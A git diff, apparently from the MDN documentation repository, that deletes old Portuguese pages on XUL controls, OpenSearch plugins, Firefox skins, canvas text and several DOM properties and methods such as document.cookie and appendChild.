-<image src="start.png"/>
-
Image:Controlguide-image.png
<label>

A label is used to create text which labels a nearby control.

-<label control="volume" value="Volume:"/>
-
Image:Controlguide-label.png
<listbox>

The listbox is used to select an item from a list of labelled items.

-<listbox>
-  <listitem label="Chocolate"/>
-  <listitem label="Jelly Beans"/>
-</listbox>
-
Image:Controlguide-listbox.png
<menulist>

A menulist (or combobox) is used to create a control with a drop down to select a value.

-<menulist>
-  <menupopup>
-    <menulist label="Lions" value="l"/>
-    <menuitem label="Tigers" value="t"/>
-    <menuitem label="Bears" value="b"/>
-  </menupopup>
-</menulist>
-
Image:Controlguide-menulist.png
<menulist editable="true">

An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.

-<menulist editable="true">
-  <menupopup>
-    <menuitem label="Elephants" value="Elephants"/>
-    <menuitem label="Kangaroos" value="Kangaroos"/>
-    <menuitem label="Bats" value="Bats"/>
-  </menupopup>
-</menulist>
-
Image:Controlguide-menulist-editable.png
<progressmeter>

A progress meter is used to display the progress of a lengthy task.

-<progressmeter value="40"/>
-
Image:Controlguide-progressmeter.png
<radio>

A radio button is used when only one of a set of options may be selected at a time.

-<radiogroup>
-  <radio label="Light" value="light"/>
-  <radio label="Heavy" value="heavy"/>
-</radiogroup>
-
Image:Controlguide-radio.png
<richlistbox>

The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.

-<richlistbox>
-  <richlistitem>
-    <image src="happy.png"/>
-  </richlistitem>
-  <richlistitem>
-    <image src="sad.png"/>
-  </richlistitem>
-  <richlistitem>
-    <image src="angry.png"/>
-  </richlistitem>
-</richlistbox>
-
Image:Controlguide-richlistbox.png
<scale>

New in Mozilla 1.9 / Firefox 3

A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.

-<scale min="1" max="10"/>
-
Image:Controlguide-scale.png
<textbox>

A textbox which allows a single line of text to be entered.

-<textbox value="firefox"/>
-
Image:Controlguide-textbox.png
<textbox multiline="true">

A textbox which allows multiple lines of text to be entered.

-<textbox multiline="true"/>
-
Image:Controlguide-textbox-multiline.png
<textbox type="autocomplete">

A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.

-<textbox type="autocomplete" autocompletesearch="history"/>
-
 
<textbox type="number">

New in Mozilla 1.9 / Firefox 3

A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.

-<textbox type="number" min="1" max="20"/>
-
Image:Controlguide-textbox-number.png
<textbox type="password">

A textbox that hides the characters typed, used for entering passwords.

-<textbox type="password"/>
-
Image:Controlguide-textbox-password.png
<timepicker>

New in Mozilla 1.9 / Firefox 3

A timepicker displays a set of textboxes for entering a time.

-<timepicker value="12:05"/>
-
Image:Controlguide-timepicker.png
<toolbarbutton>

A button that is displayed on a toolbar.

-<toolbarbutton label="Reload"/>
-
Image:Controlguide-toolbarbutton.png
<toolbarbutton type="menu">

A button that is displayed on a toolbar with a drop down menu attached to it.

-<toolbarbutton type="menu" label="Show">
-  <menupopup>
-    <menuitem label="Toolbars"/>
-    <menuitem label="Status Bar"/>
-  </menupopup>
-</toolbarbutton>
-
 
<toolbarbutton type="menu-button">

A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

-<toolbarbutton type="menu-button" label="Open">
-  <menupopup>
-    <menuitem label="Open Changed Files"/>
-    <menuitem label="Open All"/>
-  </menupopup>
-</toolbarbutton>
-
 
<tree>

A tree displays a hierarchy of items in multiple columns.

-<tree>
-  <treecols>
-    <treecol label="Name" flex="1"/>
-    <treecol label="Size" flex="1"/>
-  </treecols>
-  <treechildren>
-    <treeitem>
-      <treerow>
-        <treecell label="Popcorn"/>
-        <treecell label="Large"/>
-      </treerow>
-    </treeitem>
-    <treeitem>
-      <treerow>
-        <treecell label="Root Beer"/>
-        <treecell label="Small"/>
-      </treerow>
-    </treeitem>
-  </treechildren>
-</tree>
-
Image:Controlguide-tree.png
-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/XUL_controls" } ) }}

diff --git a/files/pt-pt/criando_plugins_opensearch_para_o_firefox/index.html b/files/pt-pt/criando_plugins_opensearch_para_o_firefox/index.html deleted file mode 100644 index fa5c17ac18..0000000000 --- a/files/pt-pt/criando_plugins_opensearch_para_o_firefox/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Criando plugins OpenSearch para o Firefox -slug: Criando_plugins_OpenSearch_para_o_Firefox -tags: - - Search plugins -translation_of: Web/OpenSearch ---- -

OpenSearch

-

Firefox 2 suporta o formato de descrição OpenSearch para plugins de busca. Plugins que usam a OpenSearch description syntax são compativeis com IE 7 e Firefox. Por causa disso, ele é o formato recomendado para uso na web.

-

Firefox também suporta capacidades adicionais de busca não incluidos na OpenSearch description syntax, tais como as sugestões de busca e o elemento SearchForm. Este artigo terá fóco na criação de plugins de busca compativeis com a sintaxe OpenSearch e com suporte a essas caracteristicas específicas do Firefox.

-

O arquivo de descrição OpenSearch também pode ser reconhecido automaticamente pelo browser como descrito em Autodiscovery of search plugins, e pode ser instalado atravéz de programação como descrito em Adding search engines from web pages.

-

Arquivo de descrição OpenSearch

-

O arquivo XML descrevendo um motor de busca é, na verdade, muito simples, sequindo o template abaixo. As seções em negrito devem ser customizadas de acordo com as necessidades específicas para o plugin do motor de busca que você está escrevendo.

-
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"
-                       xmlns:moz="http://www.mozilla.org/2006/browser/search/">
-<ShortName>Nome do motor</ShortName>
-<Description>Descrição do motor</Description>
-<InputEncoding>Codificação de entrada</InputEncoding>
-<Image width="16" height="16">data:image/x-icon;base64,Dados da imagem</Image>
-<Url type="text/html" method="método" template="URL de busca">
-  <Param name="Nome do parametro 1" value="Valor do parametro 1"/>
-  ...
-  <Param name="Nome do parametro N" value="Valor do parametro N"/>
-</Url>
-<Url type="application/x-suggestions+json" template="URL de Sugestões"/>
-<moz:SearchForm>URL do form de procura</moz:SearchForm>
-</OpenSearchDescription>
-
-
-
- Nome do motor
-
- Um nome curto para o motor de busca.
-
-
-
- Descrição do motor
-
- Uma breve descrição do motor de busca.
-
-
-
- Codificação de entrada
-
- A codificação que será usada na entrada de dados do motor de busca. Ex:UTF8
-
-
-
- Dados da imagem
-
- Um icone de representação para o motor de busca de tamanho 16x16 e codificado em Base-64. Uma ferramente muito boa que você pode usar para construir os dados para colocar aqui pode ser encontrado aqui: The data: URI kitchen.
-
-
-
- Url
-
- Descreve a URL ou URLs para usar na busca. O atributo method indica quando usar requisição GET ou POST para buscar os resultados. O atributo template indica a URL base para a pesquisa.
-
-
- Nota: Internet Explorer 7 não suporta requisições via POST.
-
-
-
-
- Existem dois tipos de URL que o Firefox suporta:
-
- -
-
- Para qualquer um desses tipos de URL, você pode usar o {searchTerms} para substituir os termos de busca colocados pelo usuário na barra de busca. Outros parâmetros dinâmicos de busca suportados estão descritos em OpenSearch 1.1 parameters.
-
-
-
- Para buscas com sugestões, o template de URL especificado é usado para trazer uma lista de sugestões no formato JavaScript Object Notation (JSON). Para detalhes de como implementear o suporte a sugestões de busca no servidor, olhe Supporting search suggestions in search plugins.
-
-

Image:SearchSuggestionSample.png

-
-
- Parametros
-
- São os parametros que precisam ser passados juntamente com os dados da consulta, em pares Chave/Valor. Quando especificar valores, você pode usar o {searchTerms} para inserir os termos de busca colocados pelo usuário na barra de busca.
-
-
- Nota: Internet Explorer 7 não suporta este elemento.
-
-
-
-
- Forme de Busca
-
- É a URL da pagina de busca do site para qual o plugin de busca foi desenvolvido. Esta pagina será aberta quanda não forem informados termos na barra de busca. Isso provê um caminho para que os usuarios do firefox visitem o site diretamente.
-
-
- Nota: Sendo um elemento específico do Firefox, e não parte da especificação OpenSearch, nós usaremos o prefixo de nome XML "moz:" como no exemplo acima, para assegurar que outros navegadores que não suportam este elemento possam ignora-lo com segurança.
-
-
-

Descobrimento automatico de plugins de busca

-

Um site que oferece um plugin de busca pode anuncia-lo de forma que os usuarios do Firefox possam facilmente baixar e instalar o plugin.

-

Para prover o Descobrimento automatico, você deve simplesmete adicionar uma linha de codigo na seção <head> de sua pagina web:

-
<link rel="search" type="application/opensearchdescription+xml" title="Titulo do buscador" href="URL do plugin">
-
-

Substitua os itens em italico como explicado abaixo:

-
-
- Titulo do buscador
-
- O nome do buscador, como "Search MDC" ou "Yahoo! Search". Este valor deve corresponder ao nome do motor contido no arquivo do plugin.
-
-
-
- URL do plugin
-
- A URL para o arquivo XML do plugin de busca, de onde o browser poderá baixa-lo.
-
-

Se o seu site oferece multiplos plugins de busca, você poderá dar suporte ao descobrimento automatico a todos eles. Por exemplo:

-
<link rel="search" type="application/opensearchdescription+xml" title="Meu Site: Por Autor" href="http://www.meusite.com/meusiteautor.xml">
-<link rel="search" type="application/opensearchdescription+xml" title="Meu Site: Por Titulo" href="http://www.meusite.com/meusitetitulo.xml">
-
-

Desta maneira, seu site pode oferecer plugins de busca tanto para autores quanto para titulos como entidades separadas.

-

Solucionando Problemas

-

Se existe um erro em seu código XML do plugin de busca, você pode acessar os erros quando estiver adicionando um plugin descoberto no Firefox 2. A mensagem de erro pode não lhe ajudar completamente, mas, seguir as dicas abaixo deve ajudar você a encontrar o problema.

- -
<shortName />
-<shortName>Google search</shortName>
-
- -

Além disso, o serviço de plugin de busca proporciona um mecanismo de log que pode ser útil para desenvolvedores de plugins. Use about:config para configurar a preferência 'browser.search.log' para true (verdadeira). Informações do log aparecerão no Console de Erros do Firefox (Error Console)(Ferramentas -> Console de Erros) quando os plugins de busca forem adicionados.

-

Material de Referência

- -

Interwiki link

-

{{ languages( { "ca": "ca/Creaci\u00f3_de_connectors_OpenSearch_per_al_Firefox", "en": "en/Creating_OpenSearch_plugins_for_Firefox", "es": "es/Creaci\u00f3n_de_plugins_OpenSearch_para_Firefox", "fr": "fr/Cr\u00e9ation_de_plugins_OpenSearch_pour_Firefox", "ja": "ja/Creating_OpenSearch_plugins_for_Firefox", "pl": "pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa" } ) }}

diff --git a/files/pt-pt/criando_um_visual_para_o_firefox/index.html b/files/pt-pt/criando_um_visual_para_o_firefox/index.html deleted file mode 100644 index 763cd620c4..0000000000 --- a/files/pt-pt/criando_um_visual_para_o_firefox/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Criando um visual para o Firefox -slug: Criando_um_visual_para_o_Firefox -tags: - - Temas - - Todas_as_Categorias ---- -

 

- -

Introdução

- -

Para poder criar um visual para o Firefox, são três coisas que você precisa saber fazer: como editar imagens, como extrair arquivos zip e como modificar CSS. O Firefox utiliza imagens nos formatos GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante na interface.

- -

O que é um visual?

- -

Um visual não altera totalmente a interface; em parte, somente define seu aspecto. Você não pode alterar o que acontece quando o usuário clica com o botão direito sobre uma imagem, mas pode alterar a aparência do menu de contexto (Torná-lo azul com pontos cor-de-rosa, por exemplo). Se quer alterar a funcionalidade do Firefox, você terá que ver sobre como modificar o chrome, que está além do contido deste documento. --Milona87 19:12, 18 Fevereiro 2008 (PST)Texto a negrito--Milona87 19:12, 18 Fevereiro 2008 (PST)

- -

Conteúdos

- - - -
-
-

Informação sobre o Documento Original

- - -
- -

 

diff --git a/files/pt-pt/criar_uma_pele_para_o_firefox/index.html b/files/pt-pt/criar_uma_pele_para_o_firefox/index.html deleted file mode 100644 index b0d04c3424..0000000000 --- a/files/pt-pt/criar_uma_pele_para_o_firefox/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Criar uma pele para o Firefox -slug: Criar_uma_pele_para_o_Firefox -tags: - - Temas - - Todas_as_Categorias ---- -

-

-

Introdução

-

Para criar um tema para o Firefox, você precisa saber fazer três coisas: editar imagens, extrair arquivos zip e modificar CSS. O Firefox utiliza imagens em formato GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante da interface. -

O que é um Tema? -

Um tema não altera totalmente a interface, apenas redefine sua aparência. Você não pode alterar o que acontece quando o usuário clica com o botão direito do mouse sobre uma imagem, mas pode alterar a aparência do menu de contexto (torná-lo azul com pontos cor-de-rosa, por exemplo). Se quiser mudar a funcionalidade do Firefox, você deve estudar como modificar o chrome, que está além do escopo deste documento. -

{{ languages( { "en": "en/Creating_a_Skin_for_Firefox" } ) }} diff --git a/files/pt-pt/desenhando_texto_usando_canvas/index.html b/files/pt-pt/desenhando_texto_usando_canvas/index.html deleted file mode 100644 index 314ff20178..0000000000 --- a/files/pt-pt/desenhando_texto_usando_canvas/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Desenhando texto usando canvas -slug: Desenhando_texto_usando_canvas -tags: - - 'HTML:Canvas' - - PrecisaDeConteúdo ---- -

{{ Gecko_minversion_header("1.9") }} O elemento <canvas> dá suporte a desenho de texto através da API experimental Mozilla-specific.

-

API

-
attribute DOMString mozTextStyle;
-void mozDrawText(in DOMString textToDraw);
-float mozMeasureText(in DOMString textToMeasure);
-void mozPathText(in DOMString textToPath);
-void mozTextAlongPath(in DOMString textToDraw, in boolean stroke);
-
-

Notas

- -

Demonstrações

-

Veja alguns exemplos here, here, and here.

-

Alterando a fonte corrente

-

The mozTextStyle attribute reflects the current text style. It uses the same syntax as the CSS font specifier.

-

Ex:

-
ctx.mozTextStyle = "20pt Arial"
-
-

Desenhando o texto

-

Drawing is very simple. mozDrawText uses whatever the current text style is. The context's fill color is used as the text color.

-
ctx.translate(10, 50);
-ctx.fillStyle = "Red";
-ctx.mozDrawText("Sample String");
-
-

Medindo o texto

-

As vezes é de grande valia saber a largura de um bit de texto em particular (para centralizá-lo em uma janela).

-
var text = "Sample String";
-var width = ctx.canvas.width;
-var len = ctx.mozMeasureText(text);
-ctx.translate(len/2, 0);
-ctx.mozDrawText(text);
-
-

Text/path interaction

-

If you want to stroke text, mozDrawText doesn't let you. However, mozPathText adds the strokes from the text to the current path.

-
ctx.fillStyle = "green";
-ctx.strokeStyle = "black";
-ctx.mozPathText("Sample String");
-ctx.fill()
-ctx.stroke()
-
-

Now say you have a path that you want to add text along (say a curved line or something); this is where mozTextAlongPath comes in. Unlike the other text functions, mozTextAlongPath takes two arguments: the text and what to do with it. mozTextAlongPath approximates the current path as a series of line segments and places each glyph along that flattened path. The glyphs are not scaled or transformed according to the curvature of their baseline; they take on the orientation of the flattened path at the midpoint of the glyph.

-

Once mozTextAlongPath knows where the glyphs are, it looks at the second parameter to decide what to do with them. If the second parameter is false, then it will draw the glyphs just like mozDrawText does. If it is true, then it will add the glyphs to the current path, just like mozPathText does. This can be used to create some unique effects.

-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }}

diff --git a/files/pt-pt/dhtml/index.html b/files/pt-pt/dhtml/index.html deleted file mode 100644 index 29c7db34c9..0000000000 --- a/files/pt-pt/dhtml/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: DHTML -slug: DHTML -tags: - - DHTML - - Todas_as_Categorias -translation_of: Glossary/DHTML ---- -

DHTML é uma sigla que signfica "dynamic HTML". O termo DHTML é geralmente usado como referência ao código que se encontra por detrás de páginas interactivas que não são baseadas em plugins como Flash ou Java. O termo reúne a funcionalidade combinada que é disponibilizada aos programadores usando HTML, CSS, Document Object Model e JavaScript

diff --git a/files/pt-pt/dom/document.alinkcolor/index.html b/files/pt-pt/dom/document.alinkcolor/index.html deleted file mode 100644 index 582760a339..0000000000 --- a/files/pt-pt/dom/document.alinkcolor/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: document.alinkColor -slug: DOM/document.alinkColor -tags: - - DOM - - DOM 0 - - Gecko - - Referência_do_DOM_Gecko -translation_of: Web/API/Document/alinkColor ---- -
-
-

« Referência do DOM Gecko

-
-

Sumário

-

 

-
-

Obsoleto

-
- Retorna ou define a cor de um link ativo no corpo do documento. Um link é ativo durante o tempo entre mousedown mouseup eventos. -

 

-
-
-

Sintaxe

-
document.alinkColor = cor
-
-

color é uma string contendo o nome da cor (em inglês), (por exemplo, "blue", "darkblue", etc) ou o valor em hexadecimal (por exemplo, #0000FF)

-
-
-

Notas 

-

O valor padrão para essa propriedade no Mozilla Firefox é o vermelho (#ee0000 em hexadecimal).

-

document.alinkColor é substituído no DOM Nível 2 HTML . Uma alternativa é o seletor CSS :active.

-

Outra alternativa é document.body.aLink, embora isso seja obsoleto em HTML 4.01, em favor da alternativa de CSS.

-

Gecko suporta tanto alinkColor / :active e :focus. Internet Explorer 6 e 7 suportam alinkColor / :active apenas para âncora HTML (<a>) links e o comportamento é o mesmo que :focus em Gecko. Não há suporte para :focus no IE.

-
-
-

Especificação

-

DOM Nível 0. Não faz parte do padrão.

-

MSDN - propriedade :alinkColor

-
-
-
-

 

diff --git a/files/pt-pt/dom/document.bgcolor/index.html b/files/pt-pt/dom/document.bgcolor/index.html deleted file mode 100644 index 5cb60b2712..0000000000 --- a/files/pt-pt/dom/document.bgcolor/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: document.bgColor -slug: DOM/document.bgColor -tags: - - DOM - - DOM 0 - - Gecko - - Referência_do_DOM_Gecko -translation_of: Web/API/Document/bgColor ---- -
-
-

« Referência do DOM Gecko

-
-

Sumário

-

 

-
-

Obsoleto

-
- bgColor obtém / define a cor de fundo do documento atual. -

 

-
-
-

Sintaxe

-
document.bgColor = cor
-
-
-
-

Parâmetros

-
    -
  • color é uma seqüência que representa a cor como uma palavra (em inglês) (por exemplo, "red") ou valor em hexadecimal (por exemplo, "#Ff0000").
  • -
-
-
-

Exemplo

-
document.bgColor = "darkblue"; 
-
-
-
-

Notas

-

O valor padrão para essa propriedade no Mozilla Firefox é branco (#ffffff em hexadecimal).

-

document.bgColor é substituído no DOM Nível 2 HTML . A alternativa recomendada é o uso do estilo CSS background-color que pode ser acessada através do DOM com document.body.style.backgroundColor. Outra alternativa é document.body.bgColor, embora este também seja obsoleto em HTML 4.01 em favor da alternativa de CSS.

-

 

-
-
-

Especificação

-

DOM Nível 0. Não faz parte do padrão .

-

MSDN: Propriedade bgColor

-
-
-
- -

 

diff --git a/files/pt-pt/dom/document.cookie/index.html b/files/pt-pt/dom/document.cookie/index.html deleted file mode 100644 index aa309f8a95..0000000000 --- a/files/pt-pt/dom/document.cookie/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: document.cookie -slug: DOM/document.cookie -translation_of: Web/API/Document/cookie ---- -
-
-

« Referência do DOM Gecko

- -
-

Sumário

- -

Obter e definir os cookies associados com o documento atual.

-
- -
-

Sintaxe

- -
allCookies = document.cookie;
- -
    -
  • allCookies é uma string contendo uma lista separada por vírgula de "cookies" (isto é, chave valor pares).
  • -
- -
updatedCookie = document.cookie;
- -
    -
  • -
    updatedCookie é uma string de forma chave valor. Observe que você só pode definir / atualizar um cookie de cada vez usando esse método.
    -
  • -
- -
    -
  • Qualquer um dos seguintes valores de atributo cookie pode, opcionalmente, seguir o valor-chave par, especificando o cookie para definir / atualizar, e precedido por um ponto e vírgula : -
      -
    • ;path = caminho (Por exemplo, '/' , '/meuDiretorio' ). Se não for especificado, o padrão é o caminho atual do local do documento atual.
    • -
    • ;domain = domínio (por ex, 'exemplo1.com ', '.exemplo1.com', (inclui todos os subdomínios ), 'subdominio.exemplo1.com'). Se não for especificado, o padrão é a parte do host local do documento atual.
    • -
    • ;max-age = maxima-idade-em-segundos (Por exemplo, 60 * 60 * 24 * 365 para um ano)
    • -
    • ;expires = data-em-formato-GMTString (Poderia usar Date.toGMTString, agora obsoleto). Se não for especificado ele expira no final da sessão.
    • -
    • ;secure (cookie só podem ser transmitidos através do protocolo seguro como https)
    • -
    -
  • -
- -
    -
  • A cadeia de valor do cookie pode usar encodeURIComponent() para garantir que a cadeia não contenha nenhuma vírgula, ponto-e-vírgula, ou espaços em branco (que não são permitidos nos valores de cookie).
  • -
-
- -
-

Exemplo

- -
-
    -
  1. document.cookie = "nome = Italo";
  2. -
  3. document.cookie = "comida_favorita = lasanha";
  4. -
  5. alert(document.cookie);
  6. -
  7. // Mostra: nome = Italo; comida_favorita = lasanha
  8. -
-
-
- -
-

Segurança

- -

É importante notar que o path não protege contra a leitura não autorizada do cookie de um caminho diferenteEle pode ser facilmente contornado com DOM simples (por exemplo, a criação de um elemento iframe oculto com o caminho do cookie, e depois aceder a este iframe contentDocument.cookiepropriedade). Ele pode ser facilmente (por exemplo, a criação de um elemento o caminho do cookie, e depois aceder a este A única maneira de proteger o acesso "cookie" é usando um domínio ou subdomínio diferente , devido à política de mesma origem.

-
- -
-

Notas

- -
Edit section
- -

Começando com o Firefox 2, a melhor mecanismo para o lado de armazenamento do cliente está disponível - WHATWG DOM Storage com o Firefox 2, a para o lado de armazenamento do cliente está disponível.

-
- -
-

Especificação

- -

DOM Level 2: HTMLDocument.cookie

-
-
-
- -

 

diff --git a/files/pt-pt/dom/document.getelementsbyclassname/index.html b/files/pt-pt/dom/document.getelementsbyclassname/index.html deleted file mode 100644 index 3ce79ed564..0000000000 --- a/files/pt-pt/dom/document.getelementsbyclassname/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: document.getElementsByClassName -slug: DOM/document.getElementsByClassName -tags: - - Referência_do_DOM_Gecko -translation_of: Web/API/Document/getElementsByClassName ---- -

{{ Fx_minversion_header(3) }} {{ ApiRef() }}

- -

Resumo

- -

Retorna um conjunto de elementos com o nome de classe fornecido. Quando chamado no objeto document, todo o documento é pesquisado incluindo o nó raiz. Você pode chamar também getElementsByClassName em qualquer elemento; isso retornará apenas elementos sob o elemento raiz especificado com o nome de classe fornecido.

- -

Sintaxe

- -
elementos = document.getElementsByClassName(nome) // ou:elementos = elementoRaiz.getElementsByClassName(nome)
-
- - - -

Exemplos

- -

Devolve todos os elementos que têm a classe 'teste':

- -
 document.getElementsByClassName('teste')
-
- -

Devolve todos os elementos que têm as classes 'vermelho' e 'teste':

- -
 document.getElementsByClassName('vermelho teste')
-
- -

Devolve todos os elementos que têm a classe 'teste', dentro de um elemento que tem o ID 'principal':

- -
 document.getElementById('principal').getElementsByClassName('teste')
-
- -

E se formos adiante e adicionarmos extras do Array do JavaScript 1.6, podemos fazer algumas combinações realmente boas.

- -

Encontre todos os elementos div que têm a classe 'teste'

- -
 Array.filter( document.getElementsByClassName('teste'), function(elem){
-   return elem.nodeName == 'DIV';
- });
-
- -

Encontre todos os elementos que têm a classe 'teste' (como faz seu elemento pai)

- -
 var teste = document.getElementsByClassName('teste');
- Array.filter( teste, function(elem){
-   return Array.indexOf( teste, elem.parentNode ) > -1;
- });
-
- -

XXX escreva-me == Notas == Um método similar existe em <code>Element</code>

- -

Especificação

- -

WHATWG Web Applications 1.0: getElementsByClassName

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/DOM/document.getElementsByClassName", "fr": "fr/DOM/document.getElementsByClassName" } ) }}

diff --git a/files/pt-pt/dom/dom_reference/index.html b/files/pt-pt/dom/dom_reference/index.html deleted file mode 100644 index ea0cdc52f1..0000000000 --- a/files/pt-pt/dom/dom_reference/index.html +++ /dev/null @@ -1,501 +0,0 @@ ---- -title: Modelo de Objeto de Documento (DOM) -slug: DOM/DOM_Reference -tags: - - API - - DOM - - DOM Reference - - NeedsTranslation - - Referencia - - TopicStub -translation_of: Web/API/Document_Object_Model ---- -
{{DefaultAPISidebar("DOM")}}
- -

Modelo de Objeto de Documento (DOM) interliga as páginas da Web para scripts ou linguagens de programação. Normalmente, isso significa que JavaScript, mas a modelagem de documentos HTML, SVG ou XML como objetos não é parte da linguagem de JavaScript. O modelo DOM representa um documento com uma árvore lógica. Cada ramo da árvore termina em um nodo, e cada nodo contém objetos. Os métodos DOM permitem o acesso programático à árvore; com eles, pode alterar a estrutura, o estilo ou o conteúdo do documento. Os nodos podem ter manipuladores de eventos anexados aos mesmos. Quando é acionado um evento, os manipuladores de eventos são executados .

- -

Está disponível uma introdução ao DOM.

- -

Interfaces DOM

- -
- -
- -

Interfaces DOM obsoletas {{obsolete_inline}}

- -

The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specification have been removed. It is still not very clear whether some may be reintroduced or not, but for the time being they have to be considered as obsolete and should be avoided:

- -
- -
- -

Interfaces HTML

- -

A document containing HTML is described using the {{domxref("HTMLDocument")}} interface. Note that the HTML specification also extends the {{domxref("Document")}} interface.

- -

An HTMLDocument object also gives access to various features of browsers like the ta or the window, in which a page is drawn using the {{domxref("Window")}} interface, the {{domxref("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{domxref("window.history", "History")}}. Eventually, {{domxref("Selection")}} is done on the document.

- -

Interfaces de elemento HTML

- -
- -
- -

Outras interfaces

- -
- -
- -

Interfaces HTML obsoletas {{obsolete_inline}}

- -
- -
- -

SGV - Interfaces

- -

Interfaces de elemento SVG

- -
- -
- -

Interfaces de tipo de dados SVG

- -

Here are the DOM API for data types used in the definitions of SVG properties and attributes.

- -
-

Nota: Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed ; in addition, they have a length property indicating the number of items in the lists: {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}}, and {{domxref("SVGPointList")}}.

-
- -

Tipo estático

- -
- -
- -

Tipo animado

- -
- -
- -

Interfaces relacionadas com SMIL

- -
- -
- -

Outras interfaces SVG

- -
- -
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/dom/element.appendchild/index.html b/files/pt-pt/dom/element.appendchild/index.html deleted file mode 100644 index 7495320be4..0000000000 --- a/files/pt-pt/dom/element.appendchild/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: element.appendChild -slug: DOM/element.appendChild -tags: - - Referência_do_DOM_Gecko -translation_of: Web/API/Node/appendChild ---- -

{{ ApiRef() }}

-

Sumario

-

Adiciona um novo nó (filho) a um determinado elemento (objeto)

-

Sintaxe

-
element.appendChild(child)
-
- -

Exemplo

-
// Cria um novo Elemento(Objeto)
-var p = document.createElement("p");
-
-// Adiciona ao Elemento Body (este deverá existir!)
-document.body.appendChild(p);
-
-

Notas

-

Se child é a referência para um nó ja existente no documento, appendChild moverá este para a nova posição (ou seja não é necessário remover um nó de uma posição para depois adicionar em outra). Isto significa que um nó não pode estar em dois lugares do documento ao mesmo tempo.

-

Você pode usar também cloneNode para copiar este nó e depois adicioná-lo a outro elemento. (Observe que ao criar um objeto ultilizando cloneNode ou createElement este não fará parte do documento até você torna-lo parte deste usando appendChild ou método similar)

-

Métodos relacionados : insertBefore, replaceChild and removeChild. <code>appendChild</code> é um dos métodos essenciais na programação usando DOM. O método <code>appendChild</code> insere um novo nó na estrutura DOM e este é a segunda parte da metodologia create-and-append.

-

Especificação

-

DOM Level 2 Core: appendChild

-

{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "pl": "pl/DOM/element.appendChild" } ) }}

diff --git a/files/pt-pt/dom/element.clientleft/index.html b/files/pt-pt/dom/element.clientleft/index.html deleted file mode 100644 index 48ee3f11b4..0000000000 --- a/files/pt-pt/dom/element.clientleft/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: element.clientLeft -slug: DOM/element.clientLeft -tags: - - PrecisaDeRevisãoEditorial - - Referência_do_DOM_Gecko -translation_of: Web/API/Element/clientLeft ---- -

{{ Fx_minversion_header(3) }} {{ ApiRef() }} Faltam duas imagens no documento

-

Resumo

-

A largura da borda esquerda de um elemento em pixels inclui a largura da barra de rolagem vertical se a direção do texto do elemento estiver da direita para a esquerda e se houver um excesso causando uma barra de rolagem vertical na esquerda para ser renderizada. clientLeft não inclui a margem ou o enchimento esquerdo. clientLeft é somente leitura.

-

Aplicações baseadas em Gecko suportam clientLeft començando com o Gecko 1.9 (Firefox 3, implementado em {{ Bug(111207) }}). Esta propriedade não é suportada pelo Firefox 2 e mais antigos.

-

Sintaxe

-
var left = element.clientLeft;
-
-

Exemplos

-
-
-

padding-top

-

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

-

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

-

Cat image and text coming from www.best-cat-art.com

-

padding-bottom

-
- LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
-

Image:clientLeft.png

-

Vertical scrollbar position when layout.scrollbar.side property is set to 1 or to 3

-

